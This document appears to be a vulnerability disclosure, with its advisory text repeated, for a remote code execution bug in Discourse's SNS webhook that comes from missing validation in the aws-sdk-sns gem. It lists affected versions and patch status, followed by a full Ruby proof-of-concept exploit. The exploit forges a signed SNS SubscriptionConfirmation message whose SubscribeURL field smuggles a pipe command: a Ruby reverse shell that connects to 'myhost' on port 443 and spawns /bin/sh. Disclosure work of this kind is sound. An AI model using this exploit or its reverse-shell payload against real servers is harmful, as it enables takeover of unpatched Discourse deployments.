Description
A validation bug in the upstream aws-sdk-sns gem can lead to RCE in Discourse via a maliciously crafted request.
The exploit is triggered by sending a maliciously crafted request to the vulnerable software, taking advantage of a lack of validation in the 'subscribe-url' values.
Affected versions
stable <= 2.7.8;
beta <= 2.8.0.beta6;
tests-passed <= 2.8.0.beta6
Impact
A Shodan search has returned 8,641 deployments. SaaS instances have been patched Wednesday (20th October)
Discourse SNS webhook RCE :: 0day.click — misc stuff by @joernchen
A validation bug in the upstream aws-sdk-sns gem can lead to RCE in Discourse via a maliciously crafted request.
The exploit is triggered by sending a maliciously crafted request to the vulnerable software, taking advantage of a lack of validation in the 'subscribe-url' values.
Affected versions
stable <= 2.7.8;
beta <= 2.8.0.beta6;
tests-passed <= 2.8.0.beta6
Impact
A Shodan search has returned 8,641 deployments. SaaS instances have been patched Wednesday (20th October)
Ruby:
require 'aws-sdk-signer'
require 'openssl'
require 'json'
key = OpenSSL::PKey::RSA.new(File.read("server.key"))
cert = OpenSSL::X509::Certificate.new(File.read("server.crt"))
SIGNABLE_KEYS = [
'Message',
'MessageId',
'Subject',
'SubscribeURL',
'Timestamp',
'Token',
'TopicArn',
'Type'
].freeze
def canonical_string(message)
parts = []
SIGNABLE_KEYS.each do |key|
value = message[key]
unless value.nil? or value.empty?
parts << "#{key}\n#{value}\n"
end
end
parts.join
end
signer = Aws::Sigv4::Signer.new(
service: 'sns',
region: 'us-east-1',
access_key_id: ENV["AWS_ACCESS_KEY_ID"],
secret_access_key: ENV["AWS_SECRET_ACCESS_KEY"]
)
url = signer.presign_url(
http_method: 'GET',
url: 'https://sns.us-east-1.amazonaws.com/x.pem?Action=GetEndpointAttributes&EndpointArn=arn%3Aaws%3Asns%3Aus-east-1%3A438937529581%3Aendpoint%2FBAIDU%2Fxxx%2F63cbfc62-1ffe-3dae-ab8a-3b301f2a7e03',
expires_in: 60
)
puts url
msg = JSON.load <<END
{
"Type" : "SubscriptionConfirmation",
"MessageId" : "0d5f8053-1356-4eef-bc68-4ff0cf1cf61e",
"SubscribeURL" : "|ruby -rsocket -e'f=TCPSocket.open(\\u0022myhost\\u0022,443);spawn(\\u0022/bin/sh\\u0022,[0,1,2]=>f)'",
"SignatureVersion" : "1"
}
END
sig = Base64.strict_encode64(key.sign(OpenSSL::Digest::SHA1.new, canonical_string(msg)))
msg["Signature"] = sig
msg["SigningCertURL"] = url
puts JSON.dump(msg)
Discourse SNS webhook RCE :: 0day.click — misc stuff by @joernchen